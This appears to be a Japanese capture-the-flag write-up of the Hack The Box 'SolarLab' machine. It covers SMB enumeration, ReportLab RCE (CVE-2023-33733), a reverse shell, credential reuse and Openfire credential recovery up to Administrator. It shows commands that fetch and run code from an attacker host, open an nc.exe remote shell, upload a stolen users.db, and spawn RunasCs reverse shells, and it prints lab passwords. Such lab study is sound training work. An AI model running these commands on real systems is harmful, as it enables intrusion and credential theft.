初めに
本記事は Hack The Box(以下リンク参照) の「SolarLab」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
ポートスキャン
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.178.49 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.178.49:80
Open 10.129.178.49:139
Open 10.129.178.49:135
Open 10.129.178.49:445
Open 10.129.178.49:6791
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-14 08:22 EDT
Initiating Ping Scan at 08:22
Scanning 10.129.178.49 [4 ports]
Completed Ping Scan at 08:22, 0.42s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:22
Completed Parallel DNS resolution of 1 host. at 08:22, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:22
Scanning 10.129.178.49 [5 ports]
Discovered open port 135/tcp on 10.129.178.49
Discovered open port 445/tcp on 10.129.178.49
Discovered open port 80/tcp on 10.129.178.49
Discovered open port 6791/tcp on 10.129.178.49
Discovered open port 139/tcp on 10.129.178.49
Completed SYN Stealth Scan at 08:22, 0.30s elapsed (5 total ports)
Nmap scan report for 10.129.178.49
Host is up, received echo-reply ttl 127 (0.28s latency).
Scanned at 2024-05-14 08:22:36 EDT for 0s
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
6791/tcp open hnm syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds
Raw packets sent: 9 (372B) | Rcvd: 6 (248B)
WindowsらしいPortが公開されている。
ブラウザでアクセスしたときにsolarlab.htb
にアクセスできないといわれるので以下のように/etc/hosts
に登録します。
10.129.178.49 solarlab.htb
SMB enum
smbclient
で共有階層を列挙します。
┌──(root㉿kali)-[~/work]
└─# smbclient -N -L \\\\10.129.178.49
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.178.49 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Documents
階層が気になるのでこの配下のファイルをダウンロードします。
┌──(root㉿kali)-[~/work/doc]
└─# smbclient //10.129.178.49/Documents
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Fri Apr 26 10:47:14 2024
.. DR 0 Fri Apr 26 10:47:14 2024
concepts D 0 Fri Apr 26 10:41:57 2024
desktop.ini AHS 278 Fri Nov 17 05:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 07:27:21 2023
My Music DHSrn 0 Thu Nov 16 14:36:51 2023
My Pictures DHSrn 0 Thu Nov 16 14:36:51 2023
My Videos DHSrn 0 Thu Nov 16 14:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 05:35:57 2023
7779839 blocks of size 4096. 1893169 blocks available
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \desktop.ini of size 278 as desktop.ini (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \details-file.xlsx of size 12793 as details-file.xlsx (11.5 KiloBytes/sec) (average 5.9 KiloBytes/sec)
getting file \old_leave_request_form.docx of size 37194 as old_leave_request_form.docx (26.8 KiloBytes/sec) (average 13.9 KiloBytes/sec)
getting file \concepts\Training-Request-Form.docx of size 161337 as concepts/Training-Request-Form.docx (96.0 KiloBytes/sec) (average 40.0 KiloBytes/sec)
getting file \concepts\Travel-Request-Sample.docx of size 30953 as concepts/Travel-Request-Sample.docx (27.8 KiloBytes/sec) (average 37.9 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED listing \My Music\*
NT_STATUS_ACCESS_DENIED listing \My Pictures\*
NT_STATUS_ACCESS_DENIED listing \My Videos\*
smb: \>
details-file.xlsx
を確認すると何やらPasswordのような文字列が記載されています。
一旦SMBでの列挙はここまでにしておいてWEBを列挙します。
サイト探索
サブドメイン探索
ffuf
で確認します。
┌──(root㉿kali)-[~/work/doc]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://solarlab.htb/ -H "HOST: FUZZ.solarlab.htb" -mc all -fs 169 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://solarlab.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.solarlab.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response size: 169
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 472 req/sec :: Duration: [0:03:15] :: Errors: 0 ::
特段気になるものはなかったです。
ディレクトリ探索
┌──(root㉿kali)-[~/work/doc]
└─# dirsearch -u http://solarlab.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/work/doc/reports/http_solarlab.htb/__24-05-14_08-37-16.txt
Target: http://solarlab.htb/
[08:37:16] Starting:
[08:37:39] 400 - 157B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[08:38:06] 301 - 169B - /assets -> http://solarlab.htb/assets/
[08:38:06] 403 - 555B - /assets/
[08:38:37] 403 - 555B - /images/
[08:38:37] 301 - 169B - /images -> http://solarlab.htb/images/
[08:38:38] 400 - 157B - /index.php::$DATA
[08:39:27] 400 - 157B - /Trace.axd::$DATA
[08:39:35] 400 - 157B - /web.config::$DATA
Task Completed
特段気になる階層はありませんでした。
ブラウジング
サイトを探っていくと以下のAboutりkで先ほどのUserらしき人物が確認できます。
このUserと先ほどのxlsxファイルのパスワードでログインできる箇所を探します。
Portスキャンで見つけた6791
にアクセスするとreport.solarlab.htb
にアクセスできないといわれるので再度、/etc/hosts
に登録します。
10.129.178.49 solarlab.htb report.solarlab.htb
これでアクセスできるようになるはずなのでアクセスしてみます。
適当にadmin:admin
を入れてみます。
Userが見つからないとでました。ならこれでUserの列挙が出来ると思ったので、BurpのIntruderで探索します。
リクエストをIntruderに送ります。
PayloadをSimplelistにして送ってみると以下のようにエラーの内容が変わりました。
この2Userがいるようです。
この2Userに先ほどのPasswordを送ってみます。
2Userともダメでした。であれば先ほどAboutでいたもう一人をUser名の規則に合わせてBlakeB
にして送ってみます。
上手く認証できてそうです!入ってみます。
ログインに成功しました。
イニシャルアクセス
CVE-2023-33733
とりあえずLeave Requestをいじります。
レポートを作成してくれる機能みたいなので適当に画像(ラミィちゃん)を用意してみようと思います。
できました。このExifを取ります。
┌──(root㉿kali)-[/home/kali/Downloads]
└─# exiftool output.pdf
ExifTool Version Number : 12.76
File Name : output.pdf
Directory : .
File Size : 515 kB
File Modification Date/Time : 2024:05:14 11:41:22-04:00
File Access Date/Time : 2024:05:14 11:41:22-04:00
File Inode Change Date/Time : 2024:05:14 11:41:22-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Author : (anonymous)
Create Date : 2024:05:14 17:57:12-02:00
Creator : (unspecified)
Modify Date : 2024:05:14 17:57:12-02:00
Producer : ReportLab PDF Library - www.reportlab.com
Subject : (unspecified)
Title : (anonymous)
Trapped : False
Page Mode : UseNone
Page Count : 1
ReportLab PDF Library
で作られていることが分かるのでこの脆弱性を調べます。
そうすると以下の情報がヒットします。
これを利用してみます。pingコマンドを刺したいので以下コマンドで待ち受けを用意します。
┌──(root㉿kali)-[~/work/doc]
└─# tcpdump -i tun0 icmp
とりあえず色々form-data
にexploitを試していると、leave_request
で刺さりました。
Revshell
上記のExploitを利用してリバースシェルを張ります。いつものサイトを利用します。
待ち受けを以下コマンドで用意します。
┌──(root㉿kali)-[~/work/doc]
└─# nc -lnvp 4444
準備が出来れば、PowershellのencodePayloadを刺します。
上手くいきました。
nc shell
nc.exeの方のシェルが何かと便利なので、こちらに移動しておきます。
PS C:\Users\blake\Desktop> iwr -Uri http://10.10.14.41/nc.exe -Outfile nc.exe
PS C:\Users\blake\Desktop> dir
Directory: C:\Users\blake\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/14/2024 5:14 PM 59392 nc.exe
-ar--- 5/14/2024 5:32 AM 34 user.txt
PS C:\Users\blake\Desktop> .\nc.exe 10.10.14.41 4443 -e cmd
これでUser権限ゲットデス。
権限昇格
情報列挙 - blake
先ほどのレポートの作成アプリの階層を列挙していると何やらsqliteを利用していることが分かります。
PS C:\Users\blake\Documents\app> cat app.py
cat app.py
# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os
app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'c:\\users\\blake\\documents\\app\\reports'
login_manager = LoginManager(app)
login_manager.login_view = 'login'
# Import other modules with routes and configurations
from routes import *
from models import User, db
from utils import create_database
db.init_app(app)
with app.app_context():
create_database()
# Initialize Flask-Login
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
app.route('/')(index)
app.route('/login', methods=['GET', 'POST'])(login)
app.route('/logout')(logout)
app.route('/dashboard')(dashboard)
app.route('/leaveRequest', methods=['GET', 'POST'])(leaveRequest)
app.route('/trainingRequest', methods=['GET', 'POST'])(trainingRequest)
app.route('/homeOfficeRequest', methods=['GET', 'POST'])(homeOfficeRequest)
app.route('/travelApprovalForm', methods=['GET', 'POST'])(travelApprovalForm)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True, threaded=True)
PS C:\Users\blake\Documents\app>
このDBが何処にいるのか、列挙をして探してみます。
PS C:\Users\blake\Documents\app> Get-Childitem -Path C:\ -Include users.db -Recurse -force -ErrorAction SilentlyContinue
Get-Childitem -Path C:\ -Include users.db -Recurse -force -ErrorAction SilentlyContinue
Directory: C:\Users\blake\Documents\app\instance
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/2/2024 12:30 PM 12288 users.db
このファイルをKaliのローカル環境で分析します。
sqlite
転送用のサーバを用意します。
┌──(root㉿kali)-[~/work]
└─# python -m uploadserver 80
ターゲット側で以下コマンドを打ち、kaliの環境に転送します。
PS C:\Users\blake\Documents\app\reports\instance> IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.41/PSUpload.ps1');Invoke-FileUpload -Uri http://10.10.14.41/upload -File users.db
IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.41/PSUpload.ps1');Invoke-FileUpload -Uri http://10.10.14.41/upload -File users.db
[+] File Uploaded: C:\Users\blake\Documents\app\reports\instance\users.db
[+] FileHash: DA868392F0B349E1B60BCBDF77A9A38A
転送出来たらハッシュ値が出てくるので、Kali上でハッシュ値を突合させて確認しましょう。
中身を確認してみます。
┌──(root㉿kali)-[~/work]
└─# sqlite3 users.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
user
sqlite> select * from user
...> ;
1|BlakeB|BlakeB
2|ClaudiaS|ClaudiaS
3|AlexanderK|ClaudiaS
4|blakeb|ThisCanB3typedeasily1@
5|claudias|007poiuytrewq
6|alexanderk|HotP!fireguard
sqlite>
パスワードが見えるのでこれを利用できないか考えます。
横展開
UserのDirを確認すると、以下のUserが存在することが分かります。
PS C:\Users> dir
dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/17/2023 10:03 AM Administrator
d----- 11/16/2023 9:43 PM blake
d----- 11/17/2023 2:13 PM openfire
d-r--- 11/17/2023 12:54 PM Public
openfire
さんが気になりますね。
RunasCs
さんを使ってパスワードを使いまわしできないか試します。
RunasCS
以下のリポジトリから拝借します。
適当にリバースシェルの待ち受けを用意しておきます。
┌──(root㉿kali)-[~/work]
└─# nc -lnvp 7777
準備が出来たら、ターゲット側で試してみます。
PS C:\Users\blake\Desktop> .\RunasCs.exe openfire 007poiuytrewq cmd.exe -r 10.10.14.41:7777
.\RunasCs.exe openfire 007poiuytrewq cmd.exe -r 10.10.14.41:7777
[-] RunasCsException: LogonUser failed with error code: The user name or password is incorrectPS C:\Users\blake\Desktop>
ダメだったので、別のを試します。
PS C:\Users\blake\Desktop> .\RunasCs.exe openfire HotP!fireguard cmd.exe -r 10.10.14.41:7777
.\RunasCs.exe openfire HotP!fireguard cmd.exe -r 10.10.14.41:7777
[*] Warning: The logon for user 'openfire' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-6da3b$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 4676 created in background.
PS C:\Users\blake\Desktop>
いけました!
情報列挙 - openfire
winPeas
おなじみのPEAS回します。
.\winPEASany.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
((((((((((((((**********/##########(((((((((((((
((((((((((((********************/#######(((((((((((
((((((((******************/@@@@@/****######((((((((((
((((((********************@@@@@@@@@@/***,####((((((((((
(((((********************/@@@@@%@@@@/********##(((((((((
(((############*********/%@@@@@@@@@/************((((((((
((##################(/******/@@@@@/***************((((((
((#########################(/**********************(((((
((##############################(/*****************(((((
((###################################(/************(((((
((#######################################(*********(((((
((#######(,.***.,(###################(..***.*******(((((
((#######*(#####((##################((######/(*****(((((
((###################(/***********(##############()(((((
(((#####################/*******(################)((((((
((((############################################)((((((
(((((##########################################)(((((((
((((((########################################)(((((((
((((((((####################################)((((((((
(((((((((#################################)(((((((((
((((((((((##########################)(((((((((
((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((
ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.
WinPEAS-ng by @hacktricks_live
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
[+] Legend:
Red Indicates a special privilege over an object or something is misconfigured
Green Indicates that some protection is enabled or something is well configured
Cyan Indicates active users
Blue Indicates disabled users
LightYellow Indicates links
You can find a Windows local PE Checklist here: https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation
Creating Dynamic lists, this could take a while, please wait...
- Loading sensitive_files yaml definitions file...
- Loading regexes yaml definitions file...
- Checking if domain...
- Getting Win32_UserAccount info...
- Creating current user groups list...
- Creating active users list (local only)...
- Creating disabled users list...
- Admin users list...
- Creating AppLocker bypass list...
- Creating files/directories list for search...
...省略
Applications Information
Current Active Window Application
[X] Exception: Object reference not set to an instance of an object.
Installed Applications --Via Program Files/Uninstall registry--
Check if you can modify installed software https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
C:\Program Files\Common Files
C:\Program Files\desktop.ini
C:\Program Files\Internet Explorer
C:\Program Files\Java
C:\Program Files\Microsoft Update Health Tools
C:\Program Files\ModifiableWindowsApps
C:\Program Files\Openfire(openfire [AllAccess])
C:\Program Files\RUXIM
C:\Program Files\Uninstall Information
C:\Program Files\VMware
C:\Program Files\Windows Defender
C:\Program Files\Windows Defender Advanced Threat Protection
C:\Program Files\Windows Mail
C:\Program Files\Windows Media Player
C:\Program Files\Windows Multimedia Platform
C:\Program Files\Windows NT
C:\Program Files\Windows Photo Viewer
C:\Program Files\Windows Portable Devices
C:\Program Files\Windows Security
C:\Program Files\Windows Sidebar
C:\Program Files\WindowsApps
C:\Program Files\WindowsPowerShell
C:\Windows\System32
...省略
C:\Program Files\Openfire
階層にフルアクセスできることが分かります。
ここら辺を列挙します。
クレデンシャルアクセス
上記階層に何があるのか確認します。
PS C:\Program Files\Openfire> dir
dir
Directory: C:\Program Files\Openfire
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/17/2023 2:11 PM .install4j
d----- 11/17/2023 2:11 PM bin
d----- 5/14/2024 5:27 AM conf
d----- 11/17/2023 2:11 PM documentation
d----- 5/14/2024 5:27 AM embedded-db
d----- 11/17/2023 2:11 PM lib
d----- 11/17/2023 2:24 PM logs
d----- 11/17/2023 2:21 PM plugins
d----- 11/17/2023 2:11 PM resources
-a---- 11/9/2022 5:59 PM 375002 changelog.html
-a---- 2/16/2022 5:55 PM 10874 LICENSE.html
-a---- 2/16/2022 5:55 PM 5403 README.html
-a---- 11/9/2022 6:00 PM 798720 uninstall.exe
PS C:\Program Files\Openfire>
とりあえずDBの中を確認しようとすると、スクリプトがあったので確認します。
PS C:\Program Files\Openfire\embedded-db> cat openfire.script
administratorのクレデンシャル追加しているようなDB操作が見えるので、復元します。
復元には以下のツールを利用しました。
この資格情報を用いてログインしてみます。
いけました!Rootゲットです!
まとめ
これで特権昇格に成功し、Administrator権限を奪取できました。
クレデンシャル情報をいかに活用するかといったBOXだった気がします。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。